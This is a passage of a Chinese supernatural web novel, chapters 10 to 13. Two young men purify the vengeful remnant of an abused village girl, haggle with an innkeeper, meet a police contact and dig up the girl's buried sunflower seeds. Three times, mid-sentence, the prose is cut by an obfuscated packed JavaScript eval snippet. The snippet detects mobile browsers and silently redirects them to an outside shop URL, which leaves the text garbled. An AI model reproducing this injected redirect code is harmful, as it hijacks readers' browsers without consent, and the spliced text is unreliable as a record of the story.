钟遥晚忆起二丫被割断声带后,她每天只能听着屋外偶尔经过的脚步声,用头撞击砖墙,试图引起注意。她每一次的撞击都在颅骨内激起轰鸣,温热的血液顺着额角溜进眼睛,让黑暗的世界终于有了其他的色彩。 雨点打在脸上,但是钟遥晚却分不清自己脸上的到底是雨水还是泪水。 他瘫坐在泥泞中,望着那个吞噬生命的炕洞,突然明白了一切。 “所以才是砖头,对吗?”他的声音嘶哑得不像自己。 她想要自由,想要打破砖墙离开那里。 离开炕洞,离开外婆,离开山里, 仅此而已。 那些撞击,那些绝望的敲打,那些浸入砖缝的血与泪,最终都随着生命的逝去而成了徒劳。 这个可怜的女孩至死都想凿穿那堵困住她的墙。 …… 可是她没有成功。 10. 净化 钟遥晚呆滞地望着前方,直到手中的罗盘忽然开始剧烈震动,嗡嗡的震感顺着掌心直窜上手臂,这才将他从恍惚中唤回。 雨不知道什么时候已经停了。厚重的云层散开,一弯苍白的月牙悬在夜空,将朦胧的光洒向湿漉漉的地面—— 月亮今晚第一次展露它的温和。 “咔哒、咔哒” 罗盘在钟遥晚手中不安地转动,指针疯狂摇摆着发出刺耳的金属摩擦声,仿佛在拼命提醒他什么。 钟遥晚眨了眨眼,思绪终于回笼。 糟糕!!把应归燎忘了!他还在和白毛怪物搏斗呢! 他猛地站起身,膝盖也在同时传来钻心的疼痛。方才撞在砖墙上的伤口此刻才后知后觉地发作。 钟遥晚咬紧牙关,额角渗出细密的汗珠。 但现在不是顾及伤痛的时候,他颤抖着将手再次探入炕洞中。 “一定要找到……”钟遥晚龇牙祈祷着,指尖在潮湿的砖石间摸索。 罗盘在他触碰到每块砖石时都会发出不同强度的震颤。 当触碰到某块时,罗盘的指针也忽然停止了旋转,似乎在提醒他就是这块。 钟遥晚将指尖卡入砖缝,用力一抠。 砖石应声而落,与此同时,整个炕洞内部传来令人毛骨悚然的坍塌声。 内里的石壁散了,但是外面这层却还完好。 他低头看向手中的砖块,暗红的血迹已经渗入砖石的每一寸纹路,沉甸甸地贴在他的掌心中。方才感觉到的微弱脉搏跳动不再,就好像刚才只是他因为太紧张而产生的幻觉一般。 钟遥晚想起了回忆中,二丫的声嘶力竭。一下一下撞击砖墙时的绝望还在他的心头挥之不去,砖石离开炕洞的那一刻,他似乎也能够感觉到一种前所未有的激动。 但是他没有时间再耽搁了。钟遥晚立刻收拾好了情绪,将思绪体和罗盘护在怀里,拔腿就往后山冲去。 四周的树木在月光下投出斑驳的阴影。 钟遥晚试图回忆来时的路,却发现雨水早已抹去所有痕迹。 “该死……” 钟遥晚低骂了一句,冷汗从他的额角滑落,呼吸也愈发急促。 这山怎么跟迷宫似的?! 就在他在山中迷失,几乎要绝望的时候,怀中的罗盘忽然颤动了起来。 它好像感知到了钟遥晚的想法一般,骨碌碌转了两圈,然后竟然指向了完全相反的方向。 “不是吧?!”钟遥晚绝望地哀嚎。 经过了方才的事情以后,钟遥晚对这个吵人的罗盘也生出了几分信任,他停住脚步犹豫了几秒以后就开始朝着指针指着的方向狂奔而去。 树枝抽打在脸上,膝盖还在传来强烈的阵痛,但他顾不上这些,只是拼命地往前跑。 好在这里的山路简单,在指明方向以后只需要沿着路走就能够找到田地,找到那棵老槐树。 钟遥晚跟着罗盘不知跑了多久,前方终于出现那棵熟悉的老槐树,可是他的心却在瞬间沉到了谷底。 他死死盯着前方的老槐树,胸口剧烈起伏。 树在这里, 人不见了。 “应归燎!?” 钟遥晚的声音在空旷的山林里显得格外尖锐。他没有得到回应,只有夜风拂过树叶的沙沙声。 他的指尖开始发麻,一股寒意顺着背脊往上爬。 “别开这种玩笑……”钟遥晚的声音有些发抖,他跌跌撞撞地冲到树下,手指扒开沾血的草丛。月光把每一滩血迹都照得发亮,暗红色的液体混着雨水,在泥地上画出狰狞的图案。钟遥晚的太阳穴突突直跳,耳边全是自己急促的心跳声。 罗盘在掌心里疯狂震动,指针像发了疯似的乱转。这罗盘靠谱了一下以后还是一如既往地吵人,钟遥晚用力拍打它,指节都泛了白,声音也不自觉地提高了几度:“你他妈倒是给个准信啊!” 谁知,罗盘好像听懂了钟遥晚的话,指针瞬间停止了躁动,“咔”的一声转向左侧。 钟遥晚顺着方向猛地抬头,不远处的草丛竟然在微微晃动! 他的呼吸一滞,终于看到了希望,可是双腿却像生了根似的动弹不得。 万一、万一是那个怪物呢? 冷汗顺着额角滑落。钟遥晚死死咬住嘴唇,血腥味在口腔里蔓延。他颤抖着举起手里二丫的思绪体,一边默念着“对不住了二丫”,一边小心翼翼地往响动的草丛靠。 草丛窸窣响动着,下一刻,忽然伸出了一只苍白的手。 他的手指骨节分明,指尖圆润,这只手是属于人类的! 那只手无力地垂在草丛外,修长的指尖沾着暗红的血迹,在月光下显得格外刺目。 钟遥晚的大脑“嗡”的一声炸开,手中的砖也因为脱力而掉落在泥水里。 “应……应归燎?”钟遥晚小声地唤了一声,声音轻得几乎听不见。 他踉跄地扑过去,颤抖的手指拨开潮湿的草丛。 ——月光下,应归燎正安静地躺在泥地中,他双眼紧闭,素来白皙的脸色在此刻苍白得几乎透明,连嘴唇也失去了血色。他的衬衫被撕开几道口子,映出的伤口也是深浅不一,皮肉翻卷地分布在他身上各处,胸口也似乎没有了起伏。 钟遥晚的呼吸停滞了,他手指颤抖地去探了探应归燎的鼻息。 ……死,死了? 这个念头像是一柄重锤砸在胸口。 钟遥晚不可置信地望着应归燎,双腿突然脱力,重重跪在泥水里,“你他妈……”他的胸口像是压着一块巨石,将声音都闷在了胸腔里。直到夜风裹挟着血腥味钻入鼻腔,才终于找回了声音,“不是说……能撑到我回来的吗……?” “都怪我……要是我能再快点回来就好了……” 钟遥晚跪坐在应归燎身前发愣,他的大脑一片空白。 这次的情感直击比上次看到老虔婆被生啃时还要剧烈。 虽然他和应归燎认识的时间不长,但是毕竟这两天发生了太多太多的事情。看到朋友死在面前和看到陌生人死在面前的感受终归是不一样的。 他的心绪起伏着,直到躁动的罗盘指针不停地转动他才慢慢脱离了震惊和哀痛。 对了,那只人面猿身的怪物还活着。现在能够净化思绪体的人都不在了,他一定要振作才行。 他胡乱地抹了一把脸,刚要从地上站起来,竟然看到应归燎的睫毛轻轻颤动了一下! 钟遥晚一惊,立刻停下了动作。他屏住呼吸,死死盯着那张苍白的脸,生怕刚才只是自己的幻觉。 又一下! 这次的颤动更加明显,让钟遥晚认定了刚才自己看到的也不是错觉。应归燎的眼皮像是蝴蝶振翅般微微颤动。 钟遥晚的血液瞬间沸腾起来,他手忙脚乱地往前膝行了半步,却在下一秒对上了一双正在缓缓睁开的眼睛。 “吵死了……”应归燎的声音轻得如同叹息却意外地平稳。月光落在他纤长的睫毛上,在眼下投出一片阴影。虽然虚弱,但是那双眼眸依旧漆黑如墨,“我累了,躺一会儿而已,你哭什么呢?” 钟遥晚:“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614244|187672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 钟遥晚咬牙切齿,半滴眼泪都快要滑出眼眶了被硬生生地气了回去。拳头差点没绷住就要往这个装死的人身上招呼,但是看在他满身伤痕的份上最终只是恨恨地砸了一下泥地:“没死你不早点出声?!” “刚刚怪物不见了,我就歇一会儿。”见钟遥晚要生气,应归燎连忙尴尬地咳了一声,随后他艰难地直起身子,将血迹斑斑的手伸到钟遥晚面前,“罗盘。” 钟遥晚闻言,这才如梦初醒,手忙脚乱地把罗盘递过去。 罗盘放置在应归燎的掌心时,青铜指针突然“咔”的一声归位。它不像是之前那样总是显得很急躁,六芒星盘稳稳地旋了一个方向以后忽然散发出了盈盈光芒。 荧绿色的光芒从六个图标的深处泛出,不算耀眼,但是足够明亮。明明是冰冷的色泽,但是钟遥晚却觉得非常温暖。 这时候钟遥晚才注意到,罗盘的六芒星指着的地方都刻画了一个小小的图标,只是图标已经生锈了,需要极力辨认才能够分辨出轮廓。也许直接去记这些锈斑的位置也要比分辨图标来得省时。 钟遥晚愣了一下,甚至还没有来得及回味,罗盘的光芒就开始快速变弱,再到最后完全消失不见。 “什么……东西?”钟遥晚喃喃道。 应归燎没有答话,只是在光芒结束以后将罗盘收回了口袋里。他的脸色在那阵光芒之后已经变得好多了,起码已经有血色了,连同眼神也灵动了不少。只是在牵动伤口时还是会被疼得龇牙咧嘴的。 钟遥晚也没有再追问下去,因为现在还有更重要的事情。他连忙将附着着二丫灵魂的思绪体塞进应归燎手里:“找到了,二丫的思绪体。” 应归燎“嗯”了一声,从钟遥晚手中接过砖石。他对钟遥晚没有下山而是找到了思绪体这件事丝毫没有感到意外。 他看着石缝中的血迹眉心微动,指尖轻轻摩挲过砖石表面,眼神沉静而专注。 他似乎是在思考什么事情。 片刻后,钟遥晚看见应归燎微微点了点头,轻描淡写地说道:“嗯,净化了。” 啊? 钟遥晚一愣。 就这么简单? 他刚想追问,应归燎却已经撑着树干慢慢站起身,顺手把罗盘塞进了衣兜里,另一手里还揣着一块砖头,倒是和他现在的穿着挺搭配的。 “走吧。”应归燎拍了拍衣角的泥土,只是身上还是湿答答的,这么拍几下只是把他的手弄得更脏了而已。他的语气轻松,仿佛刚才的虚弱只是钟遥晚的错觉,“该回去了。” “就这么结束了?”事件结束的太突然了,钟遥晚甚至一时之间没有反应过来,呆愣了一下以后才跟上应归燎的步伐,“那个怪物不会再来了吗?” “不会了。”应归燎肯定地回答,随后他望了一眼前方的山路,又转头看了一眼身后的山原,“她应该投胎去了吧。” 钟遥晚一愣。 他想起二丫生前,被疼痛和无助灌满的记忆。 也许重来一世对她来说也是最好的出路吧。 山风中灌着清冷的月光,希望她的下一世可以如月光这般平静从容。 两人一瘸一拐地往旅馆走。钟遥晚的伤都在腿上,应归燎的则都在身体上,两个人加起来几乎没有一块完好的地方。 钟遥晚跟在应归燎身后,他偷偷瞥了一眼应归燎。月光在他轮廓分明的下颌线上投下淡淡的银辉,但是他的眼眸却黯淡无光。虽然应归燎还在行走,脸色也好了很多,但是钟遥晚可以感觉得到他也只是在硬撑罢了。 跟他一样。 11. 卢惟 回到旅馆时,钟遥晚看到旅馆里的挂钟时,心里突然涌上一股荒谬感——明明经历了这么多惊心动魄的时刻,结果才过去两个小时而已。 而旅馆的走廊上也是空荡荡的,那里本该残留着触目惊心的血痕,现在却干净得像是被什么力量刻意抹去了痕迹,连一丝血腥味都没有留下。只有腿上清晰的疼痛在提醒着他今晚发生的一切都是真实的。 “真是见了鬼了……”钟遥晚小声嘀咕,随即又自嘲地干笑了一声。可不是吗?今晚可不就是见了鬼了。 应归燎好像看穿了钟遥晚在想什么,于是贴心解释:“怪物消失的时候或者思绪体净化以后,连同它留下的东西也会一起不见。” 钟遥晚点点头。虽然他不知道这其中是什么原理,不过他都已经亲眼见过鬼怪了,凭空消失一些东西在相比之下好像并不值得大惊小怪的。 他忽然想到了二丫的回忆,那个女孩至死都没有离开那个黑暗的炕洞,而现在连最后存在过的痕迹都被抹去了。 虽然,那只怪物也许已经算不上是二丫了。 她只是一个存了执念的怪物而已。 此刻不管是他身上还是应归燎身上都布满了伤痕,相比之下老板娘只是在走廊上睡了半个晚上,也能算得上幸运了。 “我们要拿她怎么办?”钟遥晚一到室内就找了条板凳坐下。 雨停了以后这个小山村的电压终于稳定了,灯光亮着没有再熄灭过,也让钟遥晚终于可以好好地查看一下自己的伤势了。 他的腿已经惨不忍睹了,但是好在是擦伤为主。他忽然庆幸今晚穿的是中裤,这会儿要把布料从血肉里拨出来可真是个苦差事。 应归燎伤的比钟遥晚要更加重一些,但是却比他看起来要更加行动自如,甚至还能跟个没事人一样地跑来跑去忙前忙后,让钟遥晚佩服不已。 应归燎去检查了一下老板娘的伤势,确认她只是受惊过度以后把她搀扶了起来:“还能怎么办?把她弄回房间呗。”说完以后他还转头去招呼正在朝着自己伤口吹气的钟遥晚,“过来搭把手。” 钟遥晚其实不想去,他现在走一步都感觉浑身疼。不只是伤口,还有运动过度的肌肉。 就算是最年轻气盛的时候他也没有这么运动过。 但是看在应归燎的伤势比他还严重的份上,他还是把抱怨咽了回去。 两人一左一右地把老板娘拖起来架回了房间,老板娘感觉到了牵动以后嘴里还在嘟囔着“不要、不要”,不知道是做了什么噩梦了,但是总之,她看起来睡得也很香的样子。 钟遥晚不禁苦笑,比起她的噩梦,他们今晚经历的才是真正的恐怖。 不过比起老板娘,现在钟遥晚更加担心被怪物弄坏的门窗。 门还好说,只是转动轴松落了,还有办法修好。但是破碎的窗户就真的无能为力了,不换一块新的肯定是掩盖不过去的。 钟遥晚想到这间旅馆的天价房费,开始默默地心疼自己的钱包。 他今年过年的时候没有回家,但是答应了村里那群小崽子等到自己赚钱了一定给他们包个红包的。结果没承想,自己准备得满满当当的,最后全都折在小山村的旅馆里了。 应归燎倒是不心疼钱,坏了的门窗他是看都懒得多看一眼。 他在旅馆里翻找了一遍也就找到几个创口贴而已,小小的一个,和他们狰狞的伤口一对比显得贴它也是多此一举。 最终两个人也没有用那两个创口贴,烧了一盆热水把伤口擦过了就算结束了。 夜深了,破损的门窗让穿堂风肆意穿梭。 钟遥晚蜷缩在床上,每一次的风声都让他不得安眠,翻身的时候还会牵动腿上的伤口,一晚上过得痛苦不已。 而应归燎一躺上床就开始呼呼大睡,任凭风声也纹丝不动,均匀的呼吸声在黑暗中格外清晰。 * 最后钟遥晚也不知道自己是什么时候睡着的,但是醒的时候对床的人已经不见了。 昨晚给他留下的惊惧还没有完全消退,他一下就从床上坐了起来,拖着沉重的身体去找他。 他还没有走到庭院,应归燎已经先声夺人。 院中,应归燎刻意地捏着嗓子,拉长的尾音把钟遥晚吓出一声鸡皮疙瘩:“哎呀,老板娘~你看这窗户真的不是我们弄坏的,窗户的赔偿再少收一点呗!我们来赔这个钱也冤枉啊!” 钟遥晚走近庭院,就看见应归燎正和老板娘坐在庭院里,他们旁边还坐着一个穿着警服的中年男人,看样子应该就是应归燎说的熟人警官了。 那警官长着一张标准的国字脸,中等身材,略微发福的体型把制服撑得有些紧绷,看起来就像个随处可见的普通老民警。 今天的阳光正好,地上的泥水已经干得差不多了。 应归燎和老板娘讨着人情,他手里抓着一把瓜子,笑嘻嘻地给老板娘递了过去。 老板娘接过了瓜子,边吃边和他唠:“哎哟,小应啊。这也不是姐要讹你啊,你看这山路这么难走,送块新玻璃上来那可费老钱了啊!” “但是这玻璃不是那小屁孩砸坏的嘛,我们这大晚上的冒雨去找‘犯人’,那也不容易啊!”应归燎声情并茂地说着,他余光正好瞥见钟遥晚走出来了,立刻就把矛头对准了他,继续道,“姐啊,昨晚下着大暴雨,街上也没个路灯,你看看我这小兄弟!为了抓那个小屁孩,都摔成红烧猪蹄了!这赔偿金通融一下吧!” 钟遥晚闻言也顺着看了一眼自己的大腿。经过了一夜,他腿上的伤口已经肿得发亮了,边缘还泛着不健康的红色。 但是还不至于是红烧猪蹄吧?! 随后他抬头就看见应归燎在朝他挤眉弄眼,暗示他赶紧配合。 老板娘原本还不想松口,但是一转头看到钟遥晚一腿的伤以后吓得手里的瓜子撒了一地:“俺的亲娘嘞,这、这……小钟啊!你的腿是怎么回事啊?!” “啊……我?这是……” 钟遥晚刚要说话,话头就被应归燎抢了过去,他见老板娘有所动容,于是立刻乘胜追击:“哎呀!就是后面那个山地啊,还有一棵老槐树的那个!就在那条路上摔的嘛!那个小子,人小小一个,对这里可是熟悉了,七绕八绕的,给我俩都绕晕了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614245|187672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 应归燎今天换了一件外衣,衣服一遮就看不见身上那些伤口了,声音欢快地就好像没有受伤一样。 而旁边的警官就看着应归燎瞎扯,全程一言不发,只是面无表情地喝着茶。甚至还在应归燎编的过火时适时地发出几声意义不明的冷哼,似乎早就习惯了这种场景。 “姐啊,我们两个人生地不熟的。为了抓个小混蛋,伞都顾不上拿啊!淋得跟落汤鸡似的。我现在还觉得嗓子疼呢!”他随即摆出了一副可怜的样子,像极了钟遥晚家门口那只等着吃饭的大黄狗。 钟遥晚:“……”又成落汤鸡了,下一个是不是就是满汉全席了。 老板娘:“……”你这么欢快的样子,看起来也不像是嗓子疼啊。 老板娘虽然没有特别吃他那套,但是看到钟遥晚的伤势以后倒是有了点动容的意思:“行行,那就给你折一点。那就和房费一样也是八百吧!可别再讨价还价了,这价格姐已经得自己倒贴钱了。” “行嘞,姐!”应归燎朝她笑得灿烂。 谈拢了价格以后,老板娘就回厨房忙活了。 钟遥晚一瘸一拐地走过去坐下,桌上放着四杯茶水,显然是已经提前给他备好了一杯。他抿了一口以后问道:“你们在说什么呢?什么小屁孩?” “就是昨晚打碎玻璃的熊孩子啊!”应归燎从自己兜里又抓出了一把瓜子,他似乎兴头上来了,还在面不改色地篡改历史,“就是穿红衣服的那个,你不记得了?” “咳咳。”卢警官突然咳嗽两声。 应归燎立刻改口:“……也可能是蓝衣服?我记不太清了。” 钟遥晚:“……”随口编的也还能记不清啊? 卢警官见应归燎还不打算停,也不打算继续搭理他了,慢条斯理地点了支烟以后将视线转向钟遥晚:“钟遥晚是吧?我是平和市第九支队的卢惟,负责和这小子对接的。” “平和市?”钟遥晚不解,“这里不是归暮雪市管吗?” “超自然事件没那么多,有什么事的话也一般会外包给他们‘灵感工作室’的。”卢警官吐了个烟圈,“附近几个市就我们一个专案组。” 钟遥晚点点头,示意知道了。 一旁一直在忙着嗑瓜子的应归燎突然插话,尾音拖得老长:“老狐狸~一会儿送我们去临江村呗~” 卢警官眼皮都没抬:“自己打车。” “哈?打车?!这么荒凉的地方要是能打车,我俩不是早就走了!”应归燎闻言以后一改方才的态度,直接拍桌而起,一副义正言辞的模样,“老狐狸,你看看我们这位钟小少侠!他无端被卷入这次的事件啊,遍体鳞伤却依然坚强!他只是想回家而已!你忍心看着他拖着这样的红烧……不是,这样的身体自己走回家吗!你还有心吗?!” 钟遥晚:“……”戏精上身,没完了是吧? 卢惟大概是知道如果不应下应归燎的要求的话,他就会没完没了。他在听应归燎说话的时候就已经表现得不耐烦了,把烟头往石桌上一摁,语气像极了在打发犯人的熊孩子:“行行行!一会儿给你找人就是了!” 12. 老槐树 卢惟拗不过虞沉舟,顶着一副厌烦的表情去一遍打电话了。 应归燎的裤兜看着不大点一个,倒像是哆啦A梦的百宝袋一样,瓜子一把一把地往外掏。 他把瓜子嗑得咔咔响,又扭头看向钟遥晚:“一会儿去换一身衣服,走之前叫上田争再去一趟老槐树吧。” 被提醒以后,钟遥晚才想起来自己的衣服还破破烂烂的。走在都市的话还能被认成是破洞乞丐风穿搭,但是在村里的话,别人只会觉得他出门没看黄历,被流氓打了一顿。 虽然他昨晚的经历可能比被流氓打了一顿凄惨多了。 “知道了。”钟遥晚嘴上这么应答,不过他现在也就只有来时穿的那套衣服还能凑合再穿一下了。 “对了。”应归燎抿了一口茶,状似漫不经心地又问道,“你应该看到二丫的记忆了吧?知道她在树底下埋了什么吗?” 钟遥晚一愣。 他怎么知道自己看到了二丫的记忆? 不过再转念一想,应归燎就是从事这方面工作的,知道这个也许对他来说不是什么稀奇事。 他慢慢地回忆着昨晚涌入脑海中的片段。二丫虽然只活了十几年,可是这十几年的记忆在一瞬间浇灌给了钟遥晚,他其实还没有办法很好地将它们全部吸收。 钟遥晚努力地在脑海中搜寻着画面,可是除了那些痛苦的记忆以外,也就只回忆起了几个二丫和田争一起在槐树下坐着休息聊天的画面而已。 哦,还有那根香喷喷的玉米。 “想不起来吗?想不起来就算了,一会儿去看看就行了。”见钟遥晚一直没有给出反馈,应归燎先一步出声打断了他。 钟遥晚换了衣服以后,两人出发去找田争。 卢惟说已经给他们联系好了车子,大约三个小时就能够到这里接他们。 应归燎听到这个数字以后还沉思了一会儿,但是最后还是没说什么,推着钟遥晚就走了。 田争这会儿早就已经起床了,他给田大爷张罗完早餐以后扛着锄头正要出门,看到两人的到来还惊讶了一下:“这么早啊?” “对啊!”应归燎轻快地接上话,“昨天雨下了大半宿,根本没睡好。正好我们今天就要走了,早点来找你,我们一块儿去老槐树看看。” “这么快就走了?二丫的案子已经查完了吗!”好不容易有人能够听他说的话,田争对面前两个人充满期待,这会儿又忽然被告知他们要走了,田争的情绪显得有些激动。 “嗯,已经有点眉目了。”应归燎扯谎的时候眼睛都不眨,“接下来的工作由我们的一位前辈对接,他这两天都会住在村口的那家旅馆。我们已经把详细的情况都和他说了,你有什么问题的话去找他就是了。” 田争仍然有些犹疑:“那他……” 应归燎拍拍田争肩膀以示宽慰:“放心吧,那都是老警察了。什么奇怪的案子没见过,他会负责任的!” “那好吧……”田争点点头。 钟遥晚和应归燎跟着田争一起去了田野间。 平地走的时候钟遥晚只是一瘸一拐而已,上山的时候腿上的伤更是让他痛苦不已。应归燎想让他干脆回去休息算了,但是钟遥晚却表示自己也很想知道二丫在树下埋了什么,最终咬咬牙,在应归燎的搀扶下继续往前走。 田争问他这伤是怎么来的时候,应归燎还把他编的故事又讲了一遍,引来了田争的一阵同情:“村里是有几个小鬼调皮,老喜欢捉弄外来人。红衣服……红衣服的是辉小子吧,他就老喜欢穿红衣服。” 钟遥晚:“……”还真有啊? 来到老槐树下,应归燎立刻开启了影帝模式。 “哇——”他高高地仰着头,双手张开比划着,活像一个浮夸的土包子,连眉毛都在用力表演,“这树可真够大的!得有几百岁了吧?” 说完以后,他还不忘用胳膊肘戳钟遥晚,逼着他陪自己一起表演:“是吧,阿晚?你见过这么大的树吗?” “……没见过。”钟遥晚嘴角抽搐,干巴巴地配合着。心说昨晚咱俩跟风干腊肠似的挂在树上的时候你怎么不感慨? 田争倒是被应归燎的热情感染了,还给他们介绍了一遍这棵树的历史。 他带着两人绕着槐树走了一圈,随后指着一处树根说:“我记得二丫应该是在那附近埋的东西。” 应归燎说:“行,那就在这儿挖着找找。” 田争是来干农活的,还带着锄头。但是他怕会弄坏二丫埋藏的东西,于是没有用上,只是用手小心翼翼地刨着土。 还好昨天下了大半天的雨,现在的泥土都是松软的。 钟遥晚的手指因为昨晚爬树受伤了,就找了根树枝跟着刨。 “咔吱——!”大约往下挖了十几厘米,树枝忽然戳到了一个柔韧的东西。钟遥晚连忙将周围的土拨开以后,赫然出现了一个小小的油纸包。 “我找到了!”钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614246|187672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遥晚激动地招呼另外两个人过来。 油纸包的上面还用铅笔歪歪扭扭地写着两个字,只是字迹已经随着时间流逝而褪色了,需要很仔细地辨认才能依稀认出上面写的是:我的。 田争闻声以后也立即赶过来确认,他粗糙的手指轻轻抚过字迹,声音忽然有些哽咽“对!就是这个,这是二丫的笔迹!” 油纸包被里三层外三层地包裹着,田争小心翼翼地吹了吹油纸包上的土,然后一层层地将它揭开—— “这是……瓜子?”田争的声音有些犹豫。 油纸里包着十几粒发黑的葵花籽,像一个个蜷缩的小生命,在岁月里耗尽了最后一丝生机,似乎一碰就会破碎。 钟遥晚看着这些瓜子,视线忽然模糊了,片段的记忆开始在他脑海中闪回。 恍惚间他看到一个皮肤黝黑的小男孩正搬着张小板凳,坐在院子里写作业。男孩长得和田争很像,只是看起来只有七八岁的样子,远没有现在壮实。 作业似乎对他来说有些困难,他连阅读的速度都很慢:“玫瑰……象征的是爱情,茉莉花是纯洁,向日葵是……自由。” “向日葵是……自由。”钟遥晚跟着记忆中的声音喃喃复述着,声音轻得像是一声叹息。 “什么?”田争的眼神看起来有些茫然,看起来他已经对这段事迹没有印象了。 但是很显然,二丫还记着。她将这些种子当作通往未来的船票,小心翼翼地埋在槐树下,等待有朝一日可以带着向往的自由离开山里,种在城里某个阳光充足的窗台上,再也没有囚禁,再也没有打骂,再也没有恐慌。 只是现在,不管是二丫还是这包葵花籽,都已经只能永远地留在大山里了。 “她一定……很向往山外的世界。”钟遥晚的喉咙有些发紧。 随后他忽然想到了什么,忽然扭头看向应归燎,“你那些瓜子都是哪儿来的?” 应归燎正望着远处出神,闻言以后一怔:“老板娘给的啊。” 一瞬间,所有的线索在钟遥晚的脑海中串联起来——难怪昨晚怪物会独独放过老板娘,兴许就是曾经的某一天,老板娘亲手将这些代表着自由的种子交给了二丫。 钟遥晚心口一阵酸涩,为这个残酷的真相感到一阵窒息。 阳光透过枝叶,温柔地洒在三人身上,树叶随着轻风沙沙作响。 那包干枯的种子静静躺在田争掌心,像一场永远无法实现的梦。 13. 离开 田争将葵花籽仔仔细细地用油纸包好以后放进了口袋里。 他朝两人点点头,转身走向田埂,背影在晨光中显得格外孤独。 钟遥晚和应归燎回到山村,卢惟这会儿正挽着袖子在院子里悠哉地帮老板娘晒苞谷。他动作娴熟地将金黄的玉米粒铺开,要不是他身上那件浅蓝色的警服太显眼了,简直就能和这个山村完美融合了。 “不是来查案的吗,怎么帮着干上农活了?”钟遥晚小声问道。 应归燎顺着钟遥晚的视线看过去,他眯起眼睛,看起来就像一只狡黠的狐狸:“案子不是查得差不多了吗?老虔婆是被二丫的思绪体杀的,二丫又是她害死的,这种因果报应,连阎王爷都懒得判。不过现在村子里的人都还不知道老虔婆的死讯,再加上今天天气好,按照村民的说法,今天应该会有人去给她送饭,应该很快就会发现不对劲了。” 见钟遥晚困惑,应归燎凑近他耳边继续解释道:“那是来帮我们善后的,你别看老卢是专门管思绪体案子的,其实他根本没有灵力,没办法净化思绪体。这世界上有灵力的人少得可怜,大多也都不愿意去干警察,所以遇到这种案子,就需要老卢这种‘专业人士’来装模作样地调查一下,再编个能让村民接受的合理解释——哦,对了,你的车子也别担心,我拜托老卢,等拖车来了帮忙照看着点了。” 钟遥晚望向庭院中间正在踮着竹匾里玉米粒的卢惟,实在很难将这个和蔼的“农夫”和处理超自然案件的警察联系起来:“那他现在……?” “在等我们滚蛋。”应归燎突然抬高音量,“毕竟某些人最擅长——” “啪!” 一篮子的苞谷忽然从天而将,精准地砸在应归燎头上,连站在一旁的钟遥晚都被波及,淋了一身玉米粒。 卢惟连头都没回,继续翻晒着玉米,就好像刚刚出手的不是他一样。 应归燎被砸了以后显然也没有要收敛的意思,紧接着还朝着卢惟的方向竖起大拇指,声情并茂道:“看啊!一个被警服耽误的农夫,终于找到了心灵的归宿!” 随后,在他话音落下的那一刻,钟遥晚看见卢惟面无表情地抄起了一旁翻晒玉米用的钉耙。 应归燎见状才做了个嘴巴拉上拉链的动作,推着钟遥晚灰溜溜地回房间了。 两个人收拾完了行李以后也差不多到了约定的时间了。 卢惟不知道什么时候已经悄然离开了,只剩下晒谷堆上几处凹陷的脚印。 片刻后,一辆黑色路虎卫士碾过碎石路,稳稳地停在了旅馆门前。 这辆车子的款式很新,但是车漆已经不再光亮了,看起来已经跟随主人跑过很多地方了,车身上还布着一些细密的划痕。 在山村里,很少会有人家选择这样的越野车,虽然外形很酷,但是实用性还是差了一点。 这一看就是卢惟找过来的人。 钟遥晚刚要上前,却发现应归燎僵在门口,脸上罕见地浮现出纠结的神色,小声嘀咕着:“那只老狐狸……怎么把她找来了。” “怎么了?”钟遥晚回头看向他。 他的话音还没有落下,车门就被猛地推开了。 车子上下来的是一个女人。 嗯……怎么说呢,这是一个很酷的女人。 女人利落地跳下车,随手推了推墨镜。她绑着干练的丸子头,几缕碎发自然垂落在白皙的脸侧,倒是显得格外潇洒。 她只穿着最简单的白色T恤和牛仔裤,却仍然掩藏不住藏在布料下精致有力的身材。那人的裤腿随意地卷起着,露出一截精致的脚踝,一颦一动中都带着饱满的英气。 女人没有说话,只是用拇指朝着后座比了个手势,应归燎就识趣地拿上自己的行李,灰溜溜地钻进了车里。 随后她扭头看向一旁的钟遥晚。 不知道为什么,她明明戴着墨镜,钟遥晚看不见她的眼睛,却能够感觉到一股“惹了她就完蛋了”的气场。 “她是谁啊?”钟遥晚和应归燎一起坐在后座,凑近了和他交头接耳。 “嘘——!”应归燎紧张地瞥了一眼驾驶座,连忙竖起手指挡在自己嘴唇前,他小心翼翼地看了一眼坐上驾驶座的女人正在专心致志地把玩她的手机以后才放心回应,“这是母老虎,一言不合就打人的!尤其是她最近心情不好,千万别惹她!” 而这次,女人明显是听到了这句话,她幽幽地转过头来,那副挂在脸上的墨镜也随着动作脱落了一半。一双漂亮的黑眸透着寒光,直勾勾地盯着应归燎。 